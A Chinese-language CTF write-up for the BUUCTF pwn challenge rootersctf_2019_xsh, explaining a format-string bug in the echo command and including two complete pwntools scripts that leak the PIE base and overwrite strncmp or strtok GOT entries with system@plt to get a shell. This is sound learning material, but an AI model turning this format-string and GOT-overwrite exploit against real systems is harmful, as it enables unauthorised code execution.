查看保护,基本全开

IDA查看程序

程序读入命令,并通过子函数 run 执行

run函数

对读入的命令进行判断,只能执行ls, echo, zooo指令,
这里可以发现echo 命令存在format string 漏洞,
首先测试可以确定偏移为24

那么整体的思想就是修改程序提供的函数的got表为system@plt,然后再输入内容/bin/sh即可获得shell,目前可以利用的函数为strncmp和strtok函数

首先需要泄露piebase的值,这里介绍覆盖strncmp函数(strtok同理)

gdb调试

第三个%p位置泄露的是run+12在内存的位置,那么run+12=0x123d+12=0x1249
所以泄露的地址再减去0x1249即能得到piebase的地址,进一步获得system@plt的地址,strncmp@got的地址


这里system的地址需要加6

接下来就是修改strncmp的got内容为system@plt+6的值
构造payload为

其中low-7的7是12-5获得,12是b’echo’与2个p32的长度,-5是printf从第5个位置开始,那么已经填充的字符为7个

修改完后再次输入/bin/sh即可获得shell(多测试几次,远程测试能成功)

完整ex

from pwn import *context(log_level='debug')#io=process("./rootersctf_2019_xsh")
io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()payload=b'echo %3$p'io.sendline(payload)elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strncmp_got = elf.got['strncmp']
system_plt = elf.plt['system']+6io.recv()low=int(int((hex(system_plt)[-4:]),16))high=int(int((hex(system_plt)[-8:-4]),16))payload = b'echo' + p32(strncmp_got) + p32(strncmp_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()io.sendline(payload)io.recv()io.sendline(b'/bin/sh\x00')io.recv()
#pause()
io.interactive()

同理修改strtok函数,多次测试,本地能打通,远程不行

这里需要中间输入一个任意的命令,调用过strtok函数, 最后手动输入/bin/sh

完整ex

from pwn import *context(log_level='debug')io=process("./rootersctf_2019_xsh")
#io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()payload=b'echo %3$p'io.sendline(payload)elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strtok_got = elf.got['strtok']
system_plt = elf.plt['system']+6io.recv()io.sendline(b'test')io.recv()low=int(int((hex(system_plt)[-4:]),16))high=int(int((hex(system_plt)[-8:-4]),16))payload = b'echo' + p32(strtok_got) + p32(strtok_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()io.sendline(payload)io.recv()io.sendline(b'ls')io.recv()
#pause()
io.interactive()

BUUCTF pwn rootersctf_2019_xsh相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. Python使用numpy包编写自定义函数计算均方误差(MSE、mean squared error)、评估回归模型和时间序列模型、解读MSE评估指标
  2. lstm 和自注意力机制 bert 本质区别的思考历程
  3. 【控制】《多智能体系统一致性与复杂网络同步控制》郭凌老师-第3章-具有扩散作用的多智能体系统领导-跟随一致性
  4. 路径总和 II—leetcode113
  5. JS与Object-C交互补充
  6. Android 系统(98)---Android app 在线更新那点事儿(适配Android6.0、7.0、8.0)
  7. golang解决TCP粘包问题
  8. Memcached:高性能的分布式内存缓存服务器
  9. 初接触RTMP流媒体实时消息传输协议
  10. MFC 简单输出EXCEL - (OLE)
  11. linux jmeter 内存,怎么在Linux下改变JMeter内存
  12. 用Linux开发嵌入式项目拢共分几步?
  13. Axure获取焦点和触发事件
  14. 科技互联网都有啥热点信息?爬取虎嗅5万篇文章告诉你
  15. 前端开发SEO搜索引擎优化方案
  16. Kaggle泰坦尼克号比赛项目详解
  17. Unity获取手机app列表《三》安卓端
  18. 什么是溢出?补码加法运算如何判断是否溢出?
  19. MacBook 谷歌插件打包
  20. SpringBoot2核心技术最好的一篇文章——1.基础入门

热门文章

  1. AR智能眼镜tooz DevKit 20初体验
  2. 用python实现弹跳球游戏_使用Pygame模块制作一个跳跃的小球游戏
  3. GA算法(遗传算法) ——以求解achley,rastrigin函数为例
  4. c 程序语言的溢出错误,C语言中溢出错误分析和防范
  5. 【备忘】总结一些Java学习者经常去的网站及论坛
  6. Xmind中图标的导入和导出
  7. 图文模态交互 | CLIP + GAN = ?
  8. 15个富有创意的单页设计
  9. Windows常见的几种权限维持
  10. 百问网7天物联网智能家居 学习心得 打卡第三天